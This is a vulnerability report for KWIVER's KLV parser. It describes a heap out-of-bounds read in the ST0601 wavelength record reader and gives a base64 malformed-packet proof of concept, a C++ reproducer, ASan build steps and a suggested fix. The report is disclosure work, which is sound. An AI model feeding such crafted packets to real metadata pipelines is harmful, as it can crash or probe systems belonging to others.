Heap out-of-bounds read in ST0601 Wavelength Record parser (arrows/klv)

[pventuzelo]

ST0601 Wavelength Record — heap out-of-bounds read

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read)
Location: arrows/klv/klv_0601.cxx — klv_0601_wavelength_record_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

Two hard-coded 4-byte IMAP reads that ignore the remaining length:

result.min = klv_read_imap( { 0.0, 1.0e9 }, data, 4 );  // hard-coded 4
result.max = klv_read_imap( { 0.0, 1.0e9 }, data, 4 );  // hard-coded 4

Impact: if fewer than 8 bytes remain after the id, these read past the
buffer.

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (971 bytes), base64 — decode with base64 -d:

Bg4rNAILAQEOAQMBAQAAAIIDuAECAAACCAAAAAAAAAAAAwEABAEABQIAAAYCfgAHAgAACAEAAAAA
AAAAAQEADAEADQQAAAAADgQAAAAADwIAABACAAARAgAAEgQAAAAAEwQAAAAAFAQAAAAAFQQAAgAA
ABYAABcEAAAAABgEAAAAABkCAAAaAgAAGwIAAAEBAAAcAgAAHQIAAB4CAAAfAQAAAAAAABECAAAg
AgAAIQIAACIBACMCAAAkAQAlAgAAJgIAACcBACgEAAAAACkEAAAAACoCAAArAQAsAQAtAgAALgIA
AC8BADABADECAAAyAgAAMwIAADQCAAA1AgAANgIAADcBADgBADkEAAAAADoCAAA7AQA8AgAAPQEA
AQAAPwA+AkACAABBAQBCAQBDBAAAAABEBAAAAABFAgAARgEARwIISAAIAAAAAAAAAABJAQBKAQBL
AgAATAIAAE0BAE4CAABPAgAAUAIAAFEBAFIEAAAAAFMEAAAAAFQEAAAAAFUEAAAAAFYEAAAAIABX
BAAAAABYAAQAAAAAWQQAAAAAWgQAAAAAWwQAAAAAXAQAAAAAXQQAAAAAXgEAXwEvYAMAAABhAQBi
AQBjAQBkAQBlAQBmAQBnAwAAAGgDAAAAaQMAAABqAQBrAQBsAQBtBAAAAABuAQBvAQAAOQQAcAIA
AHEDAAAAcgMAAABzAQB0AQB1AwAAAHYDAAAAdwMAAAB4AgAAeQH/////////AHoBAHsBAHwBAH0B
AH4BAH8BAIEAAQCBAQEEAAAACAAAACECAAAiAQAjAgAAJAEAJQIAACYCAAAnAQAoBAAAAAApBAAA
AAAqAgAAKwEALAF4eHh4AC0CAAAuAgIALwEAMAEAMQIAADICAAAzAgAANAIAADUCAAA2AgAANwEA
OAEAOQQAAAAAOgIAADsBADwCAAA9AQA+AgAAPwEAQAIAAEEBAEIBAEMEAAAAAEQEAAAAAEUCAABG
AQBHAgAASAgIAAAAAAAAAEkBAEoBAEsCAABMAgAbXgBNAQBOAgAATwIAAFACAABRAQBSBAAAAABT
BAAAAABUBAAAAABVBAAAAABWBAAAAABXBAAAAAAAAFgEAAAAAFkEAAAAAFoEAAAAAFtgbwILuHAC
H0BxAwX1AHIDBQQAAAAAXAQAACEAAF0EAAAAAF4BAF8BL2ADAAAAYQEAYgEAYwEAZAEAZQEAZgEA
ZwM4NA0EVZW2bQ4EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIEMAQCBAAcCAAAIAYEP
AQA=

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: container-overflow / heap-buffer-overflow READ in klv_0601_wavelength_record_format::read_typed.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)

#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

result.min = klv_read_imap( { 0.0, 1.0e9 }, data, tracker.verify( 4 ) );
result.max = klv_read_imap( { 0.0, 1.0e9 }, data, tracker.verify( 4 ) );

---

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.